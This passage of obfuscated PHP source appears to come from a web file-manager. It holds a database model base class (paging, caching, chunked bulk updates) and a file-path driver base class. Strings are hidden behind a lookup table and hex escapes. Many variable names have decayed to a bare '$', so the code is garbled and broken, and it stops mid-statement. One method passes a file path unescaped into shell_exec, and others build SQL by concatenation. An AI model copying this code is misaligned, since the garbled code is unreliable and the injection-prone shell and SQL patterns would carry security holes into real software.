function setAutoIncrement($) { $¨Ʊ = array($this->getPk() => $); $ = $this->data($¨Ʊ)->add(); if ($) { $this->delete($); } } public function getAutoIncrement() { $ݻ = $this->getTableName(); $ = $this->max($this->getPk()); $ï = $this->query("\163\x68\157\x77\40\x74\x61\x62\x6c\x65\40\x73\164\x61\164\165\x73\40\x77\x68\x65\162\x65\40\116\141\x6d\145\75\47{$ݻ}\47"); $ͽ = $ï[0][$_SERVER[ö][360]]; $ = max($, $ͽ); return $; } protected function _callBefore($, $) { return $this->cacheCallCheck($, $, !1); } protected function _callAfter($廇, $ɬ) { return $this->cacheCallCheck($廇, $ɬ, !0); } protected function cacheFunctionAlias($ܯ) { return !1; } public function cacheMemory() { return $this->cache(null, 0); } protected function cacheCallCheck($И, $計, $ = false) { $ = $this->cacheFunctionAlias($計); if (!$) { return; } foreach ($ as $ݭ => $Ԍ) { $ӭ = $Ԍ[0]; $ = explode($_SERVER[ö][50], $Ԍ[1]); if ($И == $ݭ) { return $this->cacheFunctionGet($ݭ, $ӭ); } if ($ && in_array($И, $)) { $this->cacheFunctionClear($ݭ, $ӭ); } } } public function cacheFunctionGet($Ҙ, $) { $ʴƅ = $this->cacheKeyMake($Ҙ, $); $ǫ = Cache::get($ʴƅ); if (!is_array($ǫ)) { $ǫ = call_user_func_array(array($this, $Ҙ), array($, !0)); Cache::set($ʴƅ, $ǫ); } return $ǫ; } public function cacheFunctionClear($, $) { $ = $; if (!is_array($)) { $ = array($); } foreach ($ as $) { $ = $this->cacheKeyMake($, $); Cache::remove($); } } private function cacheKeyMake($, $) { $ɚ =& $_SERVER[ö]; return get_class($this) . $ɚ[11] . $ . $ɚ[361] . $; } protected function selectPageReset() { $펹ǝ =& $_SERVER[ö]; if (isset($GLOBALS[$펹ǝ[362]])) { return; } $GLOBALS[$펹ǝ[362]] = isset($GLOBALS[$펹ǝ[7]][$펹ǝ[363]]) ? $GLOBALS[$펹ǝ[7]][$펹ǝ[363]] : !1; $GLOBALS[$펹ǝ[364]] = isset($GLOBALS[$펹ǝ[7]][$펹ǝ[353]]) ? $GLOBALS[$펹ǝ[7]][$펹ǝ[353]] : !1; $GLOBALS[$펹ǝ[7]][$펹ǝ[363]] = !1; $GLOBALS[$펹ǝ[7]][$펹ǝ[353]] = !1; } protected function selectPageRestore() { $ =& $_SERVER[ö]; if (!isset($GLOBALS[$[362]])) { return; } $GLOBALS[$[7]][$[363]] = $GLOBALS[$[362]]; $GLOBALS[$[7]][$[353]] = $GLOBALS[$[364]]; if ($GLOBALS[$[7]][$[363]] === !1) { unset($GLOBALS[$[7]][$[363]]); } if ($GLOBALS[$[7]][$[353]] === !1) { unset($GLOBALS[$[7]][$[353]]); } unset($GLOBALS[$[362]]); unset($GLOBALS[$[364]]); } protected function selectPage($ӍϺ = 200, $ݿ = 1) { $ =& $_SERVER[ö]; global $in; $ե = $this->optionsValue(); $ = 50000; $ӍϺ = isset($in[$[363]]) && $in[$[363]] ? $in[$[363]] : $ӍϺ; if ($ӍϺ === -1) { $in[$[363]] = !1; $ = 100000000; $ӍϺ = $; } $ݣ = $ե; $ݣ[$[365]] = array(); $ӍϺ = intval($ӍϺ); $ӍϺ = $ӍϺ <= 5 ? 5 : ($ӍϺ >= $ ? $ : $ӍϺ); $ݿ = intval(isset($in[$[353]]) && $in[$[353]] ? $in[$[353]] : $ݿ); $ݿ = $ݿ <= 1 ? 1 : $ݿ; $ = array(); $櫑ށ = 1; if ($ݿ == 1 && $櫑ށ) { $this->optionsValue($ե); $ = $this->page($ݿ, $ӍϺ)->select(); $ː = is_array($) ? count($) : 0; if ($ː < $ӍϺ) { $ = 1; } else { $this->optionsValue($ݣ); $ː = intval($this->count()); $ = ceil($ː / $ӍϺ); } } else { $this->optionsValue($ݣ); $ː = intval($this->count()); $ = ceil($ː / $ӍϺ); $ݿ = $ݿ >= $ ? $ : $ݿ; $this->optionsValue($ե); $ = $this->page($ݿ, $ӍϺ)->select(); } if (!is_array($)) { $ = array(); } if ($ == 1) { $ː = count($); } $ = array($[366] => array($[367] => $ː, $[363] => $ӍϺ, $[353] => $ݿ, $[368] => $), $[369] => $); return $; } protected function checkLength($, $ = 0, $ = '') { $ =& $_SERVER[ö]; $ = $ ? $ : 65536; if (!$ || strlen($) < $) { return; } $ = $ ? $ . $[71] : $[12]; show_json($ . LNG($[370]) . "\x28{$}\51", !1); } protected function metaSet($͑㑚, $ = null, $ = null) { $ =& $_SERVER[ö]; if (!$this->tableMeta || !$͑㑚) { return !1; } $ᅐ = $this->tableMeta[$[371]]; $ب = $this->tableMeta[$[372]]; $ = Model($ب); $ = array($ᅐ => $͑㑚, $[373] => $); if (is_null($)) { return $->where(array($ᅐ => $͑㑚))->delete(); } if (is_null($) && is_string($)) { return $->where($)->delete(); } $Ѿ = is_array($) ? $ : array(); if (is_string($)) { $Ѿ[$] = $; } $狕 = array(); foreach ($Ѿ as $ => $߉) { if (is_null($߉) && is_string($)) { $->where(array($ᅐ => $͑㑚, $[373] => $))->delete(); continue; } $this->checkLength($߉, !1, $ب . $[4] . $); $狕[] = array($ᅐ => $͑㑚, $[94] => $, $[374] => $߉); } $͵Ğ = $[375] . $ب; CacheLock::lock($͵Ğ); $->where(array($ᅐ => $͑㑚))->addAll($狕, array(), !0); CacheLock::unlock($͵Ğ); return !0; } public function metaGet($, $ = false) { $ƴ =& $_SERVER[ö]; if (!$this->tableMeta) { return array(); } $࠻ = $this->tableMeta[$ƴ[371]]; $ = Model($this->tableMeta[$ƴ[372]]); if ($) { $ = array($࠻ => $, $ƴ[94] => $); return $->where($)->getField($ƴ[374]); } $ = array($࠻ => $); $ = $->field($ƴ[376])->where($)->select(); $ = array_to_keyvalue($, $ƴ[94], $ƴ[374]); return $; } private function checkDataAutoHas($䐪) { if (!is_array($this->dataAuto) || count($this->dataAuto) == 0) { return !1; } foreach ($this->dataAuto as $) { if (in_array($䐪, explode($_SERVER[ö][50], $[2]))) { return !0; } } return !1; } private function dataBeforeFilter(&$Љ, $߭) { $뮥 =& $_SERVER[ö]; if (!is_array($Љ)) { return; } foreach ($this->dataAuto as $) { $ف = $[0]; if (!in_array($߭, explode($뮥[50], $[2]))) { continue; } switch (trim($[3])) { case $뮥[321]: case $뮥[322]: $킀 = $[1]; $ = isset($[4]) ? (array) $[4] : array(); if ($킀 == $뮥[203] && array_key_exists($ف, $Љ)) { if (!$Љ[$ف]) { unset($Љ[$ف]); } break; } if (isset($Љ[$ف])) { array_unshift($, $Љ[$ف]); } if ($뮥[321] == $[3]) { $Љ[$ف] = call_user_func_array($킀, $); } else { $Љ[$ف] = call_user_func_array(array(&$this, $킀), $); } break; case $뮥[270]: if (isset($Љ[$ف]) && $Љ[$ف]) { $Љ[$ف] = call_user_func_array(array(&$this, $[1]), array($Љ[$ف])); } break; case $뮥[273]: $Љ[$ف] = $Љ[$[1]]; break; case $뮥[294]: if (isset($Љ[$ف]) && !is_string($Љ[$ف])) { $Љ[$ف] = json_encode_force($Љ[$ف]); } break; case $뮥[323]: if ($Љ[$ف] === $뮥[12]) { unset($Љ[$ف]); } break; case $뮥[324]: $Љ[$ف] = $[1]; default: break; } } if ($߭ == $뮥[355]) { $ǒ = strtolower($this->db->getDbType()); if (strpos($ǒ, $뮥[13]) !== 0) { return; } $Ĺ = $this->field(!0)->fields; $Ɛ = $Ĺ[$뮥[252]]; if (isset($Ĺ[$뮥[251]])) { unset($Ɛ[$Ĺ[$뮥[251]]]); } foreach ($Ɛ as $ػ => $߭) { if (!isset($Љ[$ػ])) { $Љ[$ػ] = $뮥[12]; } } } } private function dataAfterFilter(&$³Ӥ) { $ =& $_SERVER[ö]; foreach ($this->dataAuto as $) { $ = $[0]; if (!isset($³Ӥ[$])) { continue; } if (!in_array($[357], explode($[50], $[2]))) { continue; } switch (trim($[3])) { case $[321]: case $[322]: $Ƃ = isset($[4]) ? (array) $[4] : array(); array_unshift($Ƃ, $³Ӥ[$]); if (isset($[4]) && $[4] == $[377]) { $Ƃ = array($³Ӥ[$]); } if ($[321] == $[3]) { $³Ӥ[$] = call_user_func_array($[1], $Ƃ); } else { $³Ӥ[$] = call_user_func_array(array(&$this, $[1]), $Ƃ); } break; case $[270]: if (isset($³Ӥ[$]) && $³Ӥ[$]) { $³Ӥ[$] = call_user_func_array(array(&$this, $[1]), array($³Ӥ[$])); } break; case $[273]: $³Ӥ[$] = $³Ӥ[$[1]]; break; case $[294]: $뮔 = $³Ӥ[$]; $³Ӥ[$] = json_decode($뮔, !0); if (is_null($³Ӥ[$])) { $³Ӥ[$] = $뮔; } break; case $[323]: if ($³Ӥ[$] === $[12]) { unset($³Ӥ[$]); } break; case $[324]: $³Ӥ[$] = $[1]; break; default: break; } } } public function saveAll($ۛ) { $ =& $_SERVER[ö]; $ʙ = $this->tablePrefix . $this->tableName; $ = self::SQL_WHERE_IN_CHUNK; $ۛ = is_array($ۛ) ? $ۛ : array(); $ = $[378]; $ŭ = 0; $؊ = array(); $ = count($ۛ); for ($ = 0; $ < $; $++) { $ = $ۛ[$]; if (!is_array($) || count($) != 4) { continue; } $ᒁ = "\x55\x50\104\101\x54\x45\40\140{$ʙ}\140\x20\123\105\x54\x20{$[2]}\x20\75\40\x43\x41\x53\x45\x20{$[0]}\x20\12"; if ($ŭ == 0) { $ = $ᒁ; } $؊[] = $[118] . $[1] . $[118]; $ŭ++; $ .= "\40\x57\110\105\x4e\40\x27{$[1]}\x27\40\124\x48\105\x4e\x20\47{$[3]}\x27\40\12"; if ($ŭ == $ || $ == $ - 1) { $˜ = implode($[50], $؊); $ .= "\x20\x45\x4e\104\40\x20\127\x48\x45\x52\x45\40{$[0]}\40\x49\x4e\40\x28{$˜}\x29\40"; $this->execute($); $ŭ = 0; $ = $ᒁ; $this->chunkEventCheck(count($؊)); $؊ = array(); } } $this->chunkEventSet(); } public function saveAllEach($) { $ƩԼ =& $_SERVER[ö]; $ұ = $this->tablePrefix . $this->tableName; foreach ($ as $ϴۊ) { if (!is_array($ϴۊ) || count($ϴۊ) != 4) { continue; } $췚 = $ϴۊ[0] . $ƩԼ[379] . $ϴۊ[1] . $ƩԼ[118]; $ = $ϴۊ[2] . $ƩԼ[379] . $ϴۊ[3] . $ƩԼ[118]; $ = "\165\x70\x64\141\164\x65\40{$ұ}\40\163\145\x74\x20{$}\x20\167\x68\x65\x72\x65\x20{$췚}\x3b"; $this->execute($); } } protected $_chunkEvent = false; protected $_chunkEventParam = false; public function chunkEventSet($ۣ = false, $ = false) { $this->_chunkEvent = $ۣ; $this->_chunkEventParam = $; } private function chunkEventCheck($У) { if (!$this->_chunkEvent) { return; } $ = is_array($this->_chunkEventParam) ? $this->_chunkEventParam : array(); $[$_SERVER[ö][380]] = $У; Hook::trigger($this->_chunkEvent, $); } public function addAll($쬝, $ = array(), $ = false) { $ϵ =& $_SERVER[ö]; ignore_timeout(); $ = self::SQL_WHERE_IN_CHUNK; if (empty($쬝)) { $this->error = think_lang($ϵ[271]); return !1; } $ = $this->_parseOptions($); foreach ($쬝 as $Ɍ => $ӆ) { $쬝[$Ɍ] = $this->_facade($ӆ); $this->_beforeInsert($쬝[$Ɍ], $); } if (method_exists($this->db, $ϵ[272])) { for ($ۆ = 0; $ۆ < count($쬝); $ۆ += $) { $ = array_slice($쬝, $ۆ, $); if (!is_array($) || count($) == 0) { break; } $ = $this->db->insertAll($, $, $); $this->chunkEventCheck(count($)); } $this->chunkEventSet(); } else { $this->startTrans(); foreach ($쬝 as $Ɍ => $ӆ) { $ = $this->db->insert($ӆ, $, $); } $this->commit(); } if (!1 !== $) { $ = $this->getLastInsID(); if ($) { return $; } } return $; } public function save($ = '', $Ɋ = array()) { $Ξݣ =& $_SERVER[ö]; $ჴ = self::SQL_WHERE_IN_CHUNK; $ή = $this->optionsValue(); $㸵 = $this->findWhereField($ή); if (!$㸵) { return parent::save($, $Ɋ); } $䬱 = 0; $ = $ή[$Ξݣ[275]][$㸵][1]; $ = is_array($) ? $ : array(); $ = count($); for ($ = 0; $ < $; $ += $ჴ) { $خ = array_slice($, $, $ჴ); if (!is_array($خ) || count($خ) == 0) { break; } $ή[$Ξݣ[275]][$㸵][1] = $خ; $this->optionsValue($ή); $䬱 += parent::save($, $Ɋ); $this->chunkEventCheck(count($خ)); } $this->chunkEventSet(); return $䬱; } public function add($ = '', $㿇ޯ = array(), $ = false) { if ($this->addTaskStatus && is_array($)) { $this->addTaskData[] = $; return; } return parent::add($, $㿇ޯ, $); } public function parseWhereLike($̯ݚ, $ќ = '', $꒟ = false, &$䩞 = false) { $ڼ =& $_SERVER[ö]; $Ⴒ = $GLOBALS[$ڼ[6]][$ڼ[381]]; if (!$Ⴒ[$ڼ[382]]) { return $̯ݚ; } if (!is_array($̯ݚ)) { return $̯ݚ; } $ = array(); $ = 0; foreach ($̯ݚ as $ => $݂) { if (is_array($݂) && count($݂) == 2 && $݂[0] == $ڼ[383] && is_string($݂[1]) && substr($݂[1], 0, 1) == $ڼ[384] && substr($݂[1], strlen($݂[1]) - 1, 1) == $ڼ[384]) { $䩞 = !0; $ʶʡ = is_string($) ? $ : $ќ; $ = substr($݂[1], 1, strlen($݂[1]) - 2); $ = $this->db->escapeString($); if (!strpos($ʶʡ, $ڼ[10])) { $ʶʡ = $ڼ[385] . $ʶʡ . $ڼ[385]; } $Մ = $ڼ[188] . $ . $ڼ[188]; $ = str_replace(array($ڼ[10], $ڼ[386], $ڼ[11]), $ڼ[387], $); if ($Ⴒ[$ڼ[388]]) { $Մ = $ڼ[389] . $ . $ڼ[390]; if ($Ⴒ[$ڼ[391]]) { $Մ = $ڼ[390] . $ . $ڼ[389]; } } $[$] = $ڼ[392] . $ʶʡ . $ڼ[393] . $Մ . $ڼ[394]; $++; continue; } if (is_array($݂)) { $ќ = is_string($) ? $ : $ќ; $݂ = $this->parseWhereLike($݂, $ќ, !0, $䩞); } if (is_numeric($)) { $[$] = $݂; $++; } else { $[$] = $݂; } } if ($䩞 && !$꒟) { } return $; } private $addTaskStatus = false; private $addTaskData = array(); public function addTaskStart() { $this->addTaskStatus = !0; $this->addTaskData = array(); } public function addTaskEnd() { if (!$this->addTaskStatus) { return; } $this->addAll($this->addTaskData); $this->addTaskStatus = !1; $this->addTaskData = array(); } public function select($ = array()) { $× =& $_SERVER[ö]; $ԩ = self::SQL_WHERE_IN_CHUNK; $叆 = $this->optionsValue(); $퀃 = $this->findWhereField($叆); if (!$퀃 || isset($叆[$×[292]]) || isset($叆[$×[353]])) { return parent::select($); } $ = $叆[$×[275]][$퀃][1]; $ = is_array($) ? $ : array(); $ׁ = null; for ($ = 0; $ < count($); $ += $ԩ) { $ë = array_slice($, $, $ԩ); if (!is_array($ë) || count($ë) == 0) { break; } $叆[$×[275]][$퀃][1] = $ë; $this->optionsValue($叆); $Ǡݾ = parent::select($); if (!$Ǡݾ) { continue; } $ׁ = is_array($ׁ) ? $ׁ : array(); $ׁ = array_merge($ׁ, $Ǡݾ); } return $ׁ; } public function delete($ފ = array()) { $̨э =& $_SERVER[ö]; $Ӄ = self::SQL_WHERE_IN_CHUNK; $墎 = $this->optionsValue(); $ӣ = $this->findWhereField($墎); if (!$ӣ) { return parent::delete($ފ); } $ = 0; $ɦ = $墎[$̨э[275]][$ӣ][1]; $ɦ = is_array($ɦ) ? $ɦ : array(); for ($窝˙ = 0; $窝˙ < count($ɦ); $窝˙ += $Ӄ) { $ܫ = array_slice($ɦ, $窝˙, $Ӄ); if (!is_array($ܫ) || count($ܫ) == 0) { break; } $墎[$̨э[275]][$ӣ][1] = $ܫ; $this->optionsValue($墎); $ += parent::delete($ފ); } return $; } private function findWhereField($囋) { $Ɲ =& $_SERVER[ö]; $à = self::SQL_WHERE_IN_CHUNK; if (!is_array($囋) || !is_array($囋[$Ɲ[275]])) { return !1; } foreach ($囋[$Ɲ[275]] as $ʭ́ => $) { if (is_array($) && isset($[0]) && is_string($[0]) && strtolower($[0]) == $Ɲ[7] && is_array($[1]) && count($[1]) > $Ã) { ignore_timeout(); return $ʭ́; } } return !1; } public function setMasterDB($ = true) { think_config($_SERVER[ö][395], $); } } class ModelBaseLight { public $optionType = ''; public $modelType = "\x53\171\163\x74\x65\155\x4f\160\164\x69\157\156"; public $field = array(); public function listData($ = false, $ = "\155\157\x64\151\x66\171\124\x69\155\145", $辣 = false) { $ = Model($this->modelType)->get(!1, $this->optionType, !0); $ɓ = array_values($); if ($ɓ && $ɓ[0] && !is_array($ɓ[0])) { Model($this->modelType)->cacheRemove($this->optionType); $ = Model($this->modelType)->get(!1, $this->optionType, !0); } if (!$) { return $ ? null : array(); } if (!$) { $ = array_filter(array_values($)); return array_sort_by($, $, $辣); } return $[$_SERVER[ö][396] . $]; } public function insert($Քۈ) { $ =& $_SERVER[ö]; $Քۈ = array_field_key($Քۈ, $this->field); $ǺІ = Model($this->modelType)->get($[397], $this->optionType . $[398]); $ǺІ = $ǺІ ? $ǺІ : 0; $Քۈ[$[399]] = ++$ǺІ; $Քۈ[$[200]] = time(); $Քۈ[$[85]] = time(); Model($this->modelType)->set($[397], $ǺІ, $this->optionType . $[398]); Model($this->modelType)->set($[396] . $ǺІ, $Քۈ, $this->optionType); return $ǺІ; } public function update($Ɔ, $ʏ) { $ =& $_SERVER[ö]; $ʏ = array_field_key($ʏ, $this->field); $ㅉ = $this->listData($Ɔ); if (!$ㅉ || !$Ɔ) { return !1; } $ʏ = array_merge($ㅉ, $ʏ); $ʏ[$[85]] = time(); return Model($this->modelType)->set($[396] . $Ɔ, $ʏ, $this->optionType); } public function remove($⣓) { if (!$⣓) { return !1; } return Model($this->modelType)->remove($_SERVER[ö][396] . $⣓, $this->optionType); } public function clear() { $Ѹ =& $_SERVER[ö]; Model($this->modelType)->remove($Ѹ[397], $this->optionType . $Ѹ[398]); return Model($this->modelType)->remove(null, $this->optionType); } public function cacheClear() { return Model($this->modelType)->cacheRemove($this->optionType); } public function findByKey($뻛, $) { if (!$) { return !1; } $ = $this->listData(); $ = array_to_keyvalue($, $뻛); return isset($[$]) ? $[$] : !1; } public function findByName($ك) { return $this->findByKey($_SERVER[ö][32], $ك); } protected function resetData($) { $ =& $_SERVER[ö]; $ = is_array($) ? $ : array(); $ͨ = array(); for ($ꬺ = 0; $ꬺ < count($); $ꬺ++) { $ͨ[$[396] . $[$ꬺ][$[399]]] = $[$ꬺ]; } return Model($this->modelType)->set($ͨ, !1, $this->optionType); } private function getAutoName($) { $ = array_to_keyvalue($this->listData(), $_SERVER[ö][32]); if (!$ || !isset($[$])) { return $; } for ($͗ = 1; $͗ < count($); $͗++) { $ = $ . "\x28{$͗}\x29"; if (!isset($[$])) { return $; } } return $; } } goto e쫣; fˇ겡: class PathDriverBase { public $pathDriver = ''; public $pathBase = ''; public $path = ''; public $pathID = ''; public $_data = array(); public function __construct() { $̩ =& $_SERVER[ö]; $this->objectDriver = array($̩[60], $̩[61], $̩[62], $̩[63], $̩[64], $̩[65], $̩[66], $̩[67], $̩[68]); $this->_classObjectID = mt_rand(0, 10000); } public function getPath($ҥ) { if (in_array($this->getType(), $this->objectDriver)) { return ltrim($ҥ, $_SERVER[ö][8]); } return $ҥ; } public function iconvApp($ڝ̿) { return $ڝ̿; } public function iconvSystem($߈ȶ) { return $߈ȶ; } public function iconvTo($, $ڪ, $ܕ) { $ěՔ =& $_SERVER[ö]; if (!$ || !function_exists($ěՔ[69])) { return $; } static $ǡ = array(); $ = $ڪ . $ěՔ[70] . $ܕ . $ěՔ[71] . $; if (isset($ǡ[$])) { return $ǡ[$]; } if (function_exists($ěՔ[72])) { $Ǚ = @mb_convert_encoding($, $ܕ, $ڪ); } else { $Ǚ = @iconv($ڪ, $ܕ, $); } $Ǚ = $Ǚ ? $Ǚ : $; if (strstr($Ǚ, $ěՔ[73])) { $Ǚ = str_replace($ěՔ[73], $ěՔ[11], $Ǚ); } $ǡ[$ڪ . $ěՔ[70] . $ܕ . $ěՔ[71] . $] = $Ǚ; $ǡ[$ܕ . $ěՔ[70] . $ڪ . $ěՔ[71] . $] = $; $ǡ[$ܕ . $ěՔ[70] . $ڪ . $ěՔ[71] . $Ǚ] = $; $ǡ[$ڪ . $ěՔ[70] . $ܕ . $ěՔ[71] . $Ǚ] = $Ǚ; return $Ǚ; } public function getPathInner($ُ) { $ʁ߉ = IO::init($ُ); return $ʁ߉->path; } public function getPathOuter($ר) { $ =& $_SERVER[ö]; $ = strlen(trim($this->pathBase, $[8])); $ר = substr(trim($ר, $[8]), $); return $this->pathDriver . $[8] . ltrim($ר, $[8]); } public function isParentOf($, $ͻ͝) { $ʤá =& $_SERVER[ö]; $ = rtrim(strtolower($), $ʤá[8]) . $ʤá[8]; $ͻ͝ = rtrim(strtolower($ͻ͝), $ʤá[8]) . $ʤá[8]; $ = strpos($ͻ͝, $) === 0; return $; } public function getType() { $ =& $_SERVER[ö]; $Ս = str_replace($[74], $[12], get_class($this)); return strtolower($Ս); } public function isTypeObject() { if (!is_array($this->objectDriver)) { return !1; } return in_array($this->getType(), $this->objectDriver); } public function fileNameExist($, $ǁ) { $ =& $_SERVER[ö]; $ܓ = rtrim($, $[8]) . $[8] . $ǁ; $ߩ皨 = $this->exist($ܓ); return $ߩ皨 ? $ܓ : !1; } public function setModifyTime($, $η = '') { } public function renameObject($DZ, $ɠݚ) { $ = $ɠݚ; $DZ = $this->getPathOuter($DZ); $ɠݚ = $this->pathFather($DZ) . $ɠݚ; $Ȥ = IO::copy($DZ, $this->pathFather($DZ), REPEAT_RENAME_FOLDER, $); if ($Ȥ) { IO::remove($DZ); } return $Ȥ ? $ɠݚ : !1; } public function tempFile($ = '', $ڢǏ = '') { if (!$) { $ = rand_string(15); } $ = TEMP_FILES . rand_string(15) . $_SERVER[ö][8]; @mkdir($, DEFAULT_PERRMISSIONS, !0); $ = $ . $; @touch($); if ($ڢǏ) { file_put_contents($, $ڢǏ); } return $; } public function tempFileRemve($愯) { @unlink($愯); @rmdir($this->pathFather($愯)); } public function mkfile($Ƌ, $ӡ = '', $Ś = REPEAT_RENAME) { } public function mkdir($, $Ŏ = REPEAT_SKIP) { } public function delFile($) { } public function delFolder($κ) { } public function copyFile($ȉ, $Գ) { } public function moveFile($, $) { } public function remove($Əß) { if ($this->isFile($Əß)) { return $this->delFile($Əß); } return $this->delFolder($Əß); } public function rename($ʧ, $) { } public function exist($յҴ) { } public function findByHash($ = '', $ = '') { return !1; } public function isFile($) { } public function isFolder($ܯ) { } public function size($Í) { } public function info($) { } public function infoSimple($˧) { return $this->info($˧); } public function infoAuth($) { return $this->info($); } public function infoFull($) { return $this->info($); } public function infoWithChildren($Ƌ) { $䈕 =& $_SERVER[ö]; static $ = array(); if (isset($[$Ƌ])) { return $[$Ƌ]; } $ͫ = $this->info($Ƌ); if ($ͫ && $ͫ[$䈕[33]] == $䈕[75]) { $ޫ = array($䈕[76] => 0, $䈕[77] => 0, $䈕[78] => 0); $this->infoChildren($Ƌ, $ޫ); $ͫ[$䈕[76]] = $ޫ[$䈕[76]]; $ͫ[$䈕[79]] = array($䈕[80] => $ޫ[$䈕[77]], $䈕[81] => $ޫ[$䈕[78]]); $[$Ƌ] = $ͫ; } return $ͫ; } public function listPath($, $盅 = false) { } public function has($, $ = false, $ = false) { } public function canRead($ѓ) { } public function canWrite($ݶҼ) { } public function getContent($֊ʬ) { } public function setContent($, $ݘ = '') { } protected function infoChildren($Ѩ, &$) { $е =& $_SERVER[ö]; check_abort_echo(); $ф̞ = $this->listPath($Ѩ, !0); $ф̞ = array_merge($ф̞[$е[82]], $ф̞[$е[83]]); foreach ($ф̞ as $) { if ($[$е[33]] == $е[75]) { $[$е[78]]++; $ŝ = $this->getPathInner($[$е[84]]); $this->infoChildren($ŝ, $); } else { $[$е[77]]++; $[$е[76]] += $[$е[76]]; } } } public function fileSubstr($, $, $) { } public function listAll($) { } public function listAllMake($, &$) { $ =& $_SERVER[ö]; check_abort_echo(); $Ψ = $this->listPath($, !0); if (!$Ψ) { return; } $ = array_merge($Ψ[$[82]], $Ψ[$[83]]); foreach ($ as $̾) { $Ҏ = $̾[$[33]] == $[75]; $ = array($[84] => $̾[$[84]], $[75] => $Ҏ); if (isset($̾[$[76]])) { $[$[76]] = $̾[$[76]]; } if (isset($̾[$[85]])) { $[$[85]] = $̾[$[85]]; } if (!$Ҏ) { $[] = $; continue; } $[] = $; $⡻ = $̾[$[84]]; $ٷ = $this->pathDriver; if (substr($̾[$[84]], 0, strlen($ٷ)) == $ٷ) { $⡻ = substr($⡻, strlen($ٷ)); } $this->listAllMake($⡻, $); } } public function listAllSimple($) { $и =& $_SERVER[ö]; $ = array(); $Ԥ = $this->listAll($); $ = $this->getPathOuter($); foreach ($Ԥ as $Ł) { $߶م = $Ł[$и[84]]; $ = $Ł[$и[84]]; if (isset($Ł[$и[86]])) { $߶م = $Ł[$и[86]][$и[84]]; $Ł[$и[76]] = $Ł[$и[86]][$и[76]]; $Ł[$и[85]] = $Ł[$и[86]][$и[85]]; } else { $ = substr($Ł[$и[84]], strlen(get_path_father($))); $ = $и[8] . ltrim($, $и[8]); } $Ɩ = array($и[84] => $, $и[75] => $Ł[$и[75]]); if (isset($Ł[$и[76]]) && !$Ł[$и[75]]) { $Ɩ[$и[76]] = $Ł[$и[76]]; } if (isset($Ł[$и[85]])) { $Ɩ[$и[85]] = $Ł[$и[85]]; } if (!$Ł[$и[75]]) { $Ɩ[$и[87]] = $߶م; } $[] = $Ɩ; } return $; } public function upload($, $, $ = false, $ܞӸ = REPEAT_REPLACE) { } public function uploadFileByID($, $, $锜) { } public function uploadFileByPath($, $ϣ, $ֵ = array()) { } public function isUploadServer() { $π =& $_SERVER[ö]; if (isset($this->ioUploadServer) && $this->ioUploadServer == $π[88]) { return !0; } return $GLOBALS[$π[6]][$π[89]][$π[90]]; } public function isFileOutServer() { $ =& $_SERVER[ö]; if (isset($this->ioFileOutServer) && $this->ioFileOutServer == $[88]) { return !0; } return $GLOBALS[$[6]][$[89]][$[91]]; } public function isCdnHost() { return $this->isFileOutServer() || empty($this->cdnHost) ? !1 : !0; } public function getCdnLink($빓) { $Ҵ =& $_SERVER[ö]; if (!$this->isCdnHost()) { return $빓; } return str_replace(trim(get_url_root($빓), $Ҵ[8]), trim($this->cdnHost, $Ҵ[8]), $빓); } public function uploadLink($, $֝ = 0) { $暾 =& $_SERVER[ö]; if ($this->isUploadServer()) { return; } $҆ = $this->getType(); if (!in_array($҆, $this->objectDriver)) { return; } if (!$this->isBucketCors()) { return; } $Ӿ = 1024 * 1024 * 10; $¾ = $֝ <= $Ӿ ? $暾[92] : $暾[93]; $ٟ = (!$֝ ? 1 : ceil($֝ / pow(1024, 3))) * 3600 * 4; $ = $this->{$¾}($, $ٟ); if ($) { $[$暾[94]] = $; $[$暾[95]] = $҆; } return $; } public function uploadFormData($혆, $ = 3600) { } public function multiUploadFormData($, $ = 3600) { } public function download($, $ω) { } public function ext($ѝ) { $ =& $_SERVER[ö]; if (strpos($ѝ, $[8]) === -1) { $۞ = $ѝ; } else { $۞ = $this->pathThis($ѝ); } $ = $[12]; if (strstr($۞, $[10])) { $ = substr($۞, strrpos($۞, $[10]) + 1); $ = strtolower($); } if (strlen($) > 3 && preg_match($[96], $, $ܰ)) { $ = $[12]; } return $; } public function pathThis($Ƙ) { $ =& $_SERVER[ö]; $Ƙ = str_replace($[97], $[8], rtrim($Ƙ, $[8])); $ǁ = strrpos($Ƙ, $[8]); if ($ǁ === !1) { return $Ƙ; } return substr($Ƙ, $ǁ + 1); } public function pathFather($ݱ) { $ =& $_SERVER[ö]; $ݱ = str_replace($[97], $[8], rtrim($ݱ, $[8])); $̾Ϝ = strrpos($ݱ, $[8]); if ($̾Ϝ === !1) { return $[12]; } return substr($ݱ, 0, $̾Ϝ + 1); } public function hashSimple($) { $Ծ =& $_SERVER[ö]; if (!$) { return md5($Ծ[12]); } $洞 = $this->size($); $ϊ = 200; $۟ = 50; if ($洞 <= $ϊ * $۟) { return $this->hashMd5($) . $洞; } $ē = intval($洞 / $۟); $ڈ = $Ծ[12]; for ($ = 0; $ < $۟; $++) { $ڈ .= $this->fileSubstr($, $ē * $, $ϊ); } $ڈ .= $this->fileSubstr($, $洞 - $ϊ, $ϊ); return md5($ڈ) . $洞; } public static $md5Cache = array(); public function hashMd5($Ȝ) { if (!$Ȝ) { return md5($_SERVER[ö][12]); } $Ȝ = $this->iconvSystem($Ȝ); if (isset(self::$md5Cache[$Ȝ])) { return self::$md5Cache[$Ȝ]; } self::$md5Cache[$Ȝ] = $this->hashMd5Shell($Ȝ); if (!self::$md5Cache[$Ȝ]) { self::$md5Cache[$Ȝ] = @md5_file($Ȝ); } return self::$md5Cache[$Ȝ]; } private function hashMd5Shell($㑄۸) { $ᵰ =& $_SERVER[ö]; if (!$㑄۸) { return md5($ᵰ[12]); } if (!function_exists($ᵰ[98])) { return !1; } $» = array($ᵰ[99], $ᵰ[100]); $ = Cache::get($ᵰ[101]); if (!$) { $ = BASIC_PATH . $ᵰ[102]; $ = md5_file($); $ = $ᵰ[103]; foreach ($» as $Ԣ) { $ݨׇ = shell_exec($Ԣ . "\40\x22{$}\42"); if ($ݨׇ && substr(trim($ݨׇ), 0, 32) == $) { $ = $Ԣ; break; } } Cache::set($ᵰ[101], $, 3600); } if ($ == $ᵰ[103]) { return !1; } $ݨׇ = shell_exec($ . "\x20\42{$㑄۸}\42"); $ݨׇ = str_replace($ᵰ[104], $ᵰ[12], $ݨׇ); return substr($ݨׇ, 0, 32); } public function link($) { return $; } public function fileOut($脢, $ = false, $ = false, $҇֝ = '') { $ʏʴ =& $_SERVER[ö]; $this->cacheMethod(null, null); if (!$脢 || !$this->exist($脢)) { show_json(LNG($ʏʴ[105]), !1, $); } $ظ = 